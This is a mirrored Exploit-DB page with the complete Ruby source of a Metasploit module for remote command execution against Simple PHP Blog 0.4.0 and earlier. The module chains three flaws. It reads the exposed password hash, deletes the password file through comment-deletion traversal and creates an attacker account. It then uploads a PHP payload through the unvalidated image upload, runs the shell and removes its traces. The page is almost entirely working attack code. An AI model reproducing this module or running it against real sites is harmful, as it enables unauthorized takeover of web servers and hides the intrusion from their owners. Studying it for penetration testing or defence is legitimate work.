Simple PHP Blog 0.4.0 – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2010-07-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16883/
  • ##
    # $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
    			'Description'=> %q{
    					This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
    				application to upload arbitrary data and thus execute a shell. The first
    				vulnerability exposes the hash file (password.txt) to unauthenticated users.
    				The second vulnerability lies within the image upload system provided to
    				logged-in users; there is no image validation function in the blogger to
    				prevent an authenticated user from uploading any file type. The third
    				vulnerability occurs within the blog comment functionality, allowing
    				arbitrary files to be deleted.
    			},
    			'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 9929 $',
    			'References' =>
    				[
    					['CVE', '2005-2733'],
    					['OSVDB', '19012'],
    					['BID', '14667'],
    					['URL', 'http://www.milw0rm.com/exploits/1191'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Compat'=>
    						{
    							'ConnectionType' => 'find',
    						},
    					'Space' => 1024,
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Aug 25 2005',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
    			], self.class)
    	end
    
    	def check
    		res = send_request_raw({
    			'uri' => datastore['URI'] + '/index.php'
    		}, 25)
    
    		if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
    
    			ver = [ $1.to_i, $2.to_i, $3.to_i ]
    			print_status("Simple PHP Blog #{ver.join('.')}")
    
    			if (ver[0] == 0 and ver[1] < 5)
    				if (ver[1] == 4 and ver[2] > 0)
    					return Exploit::CheckCode::Safe
    				end
    				return Exploit::CheckCode::Vulnerable
    			end
    		end
    
    		return Exploit::CheckCode::Safe
    	end
    
    	def retrieve_password_hash(file)
    
    		res = send_request_raw({
    			'uri'=> datastore['URI'] + file,
    		}, 25)
    
    		if (res and res.message == "OK" and res.body)
    			print_status("Successfully retrieved hash: #{res.body}")
    			return res.body
    		else
    			raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
    			return false
    		end
    	end
    
    	def create_new_password(user, pass)
    
    		res = send_request_cgi({
    			'uri' => datastore['URI'] + '/install03_cgi.php',
    			'method'=> 'POST',
    			'data'=> "user=#{user}&pass=#{pass}",
    		}, 25)
    
    		if (res)
    			print_status("Successfully created temporary account.")
    		else
    			print_error("Unable to create a temporary account!")
    		end
    	end
    
    	def retrieve_session(user, pass)
    
    		res = send_request_cgi({
    			'uri' => datastore['URI'] + "/login_cgi.php",
    			'method'=> 'POST',
    			'data'=> "user=#{user}&pass=#{pass}",
    		}, 25)
    
    		if (res)
    			print_status("Successfully logged in as #{user}:#{pass}")
    
    			if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
    				session = $1
    				print_status("Successfully retrieved cookie: #{session}")
    				return session
    			else
    				print_error("Error retrieving cookie!")
    			end
    		else
    			print_error("No response received while logging in.")
    		end
    	end
    
    	def upload_page(session, dir, newpage, contents)
    
    		boundary = rand_text_alphanumeric(6)
    
    		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
    		data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
    		data << contents
    		data << "\r\n--#{boundary}--"
    
    		res = send_request_raw({
    			'uri'	=> datastore['URI'] + "/upload_img_cgi.php",
    			'method'=> 'POST',
    			'data'=> data,
    			'headers' =>
    			{
    				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
    				'Content-Length' => data.length,
    				'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
    			}
    		}, 25)
    
    		if (res)
    			print_status("Successfully uploaded #{newpage}")
    		else
    			print_error("Error uploading #{newpage}")
    		end
    	end
    
    	def reset_original_password(hash, scriptlocation)
    
    		res = send_request_cgi({
    			'uri'	 => datastore['URI'] + scriptlocation,
    			'method' => 'POST',
    			'data'	 => "hash=" + hash,
    		}, 25)
    
    		if (res)
    			print_status("Successfully reset original password hash.")
    		else
    			print_error("Error resetting original password!")
    		end
    	end
    
    	def delete_file(file)
    
    		delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"
    
    		res = send_request_raw({
    			'uri'	=> datastore['URI'] + delete_path,
    		}, 25)
    
    		if (res)
    			print_status("Successfully removed #{file}")
    		else
    			print_error("Error removing #{file}!")
    		end
    	end
    
    	def cmd_shell(cmdpath)
    		print_status("Calling payload: #{cmdpath}")
    
    		res = send_request_raw({
    			'uri'	=> datastore['URI'] + cmdpath
    		}, 25)
    
    	end
    
    	def exploit
    
    		# Define the scripts to be uploaded to aid in exploitation
    		cmd_php = '<?php ' + payload.encoded + '?>'
    
    		reset_php = %Q|
    		<?php $hash = $_POST['hash'];
    		$fp = fopen("../config/password.txt","w");
    		fwrite($fp,$hash);
    		fpclose($fp);
    		?>|
    
    		# Generate some random strings
    		cmdscript	= rand_text_alphanumeric(20) + '.php'
    		resetscript	= rand_text_alphanumeric(20) + '.php'
    		newuser 	= rand_text_alphanumeric(6)
    		newpass 	= rand_text_alphanumeric(6)
    
    		# Static files
    		directory 	= '/images/'
    		cmdpath 	= directory + cmdscript
    		resetpath 	= directory + resetscript
    		passwdfile 	= '/config/password.txt'
    
    		# Let's do this thing
    		hash = retrieve_password_hash(passwdfile)
    		delete_file(passwdfile)
    		create_new_password(newuser, newpass)
    		session = retrieve_session(newuser, newpass)
    		upload_page(session, directory, resetscript, reset_php)
    		upload_page(session, directory, cmdscript, cmd_php)
    		reset_original_password(hash, resetpath)
    		delete_file(resetpath)
    		cmd_shell(cmdpath)
    		delete_file(cmdpath)
    	end
    end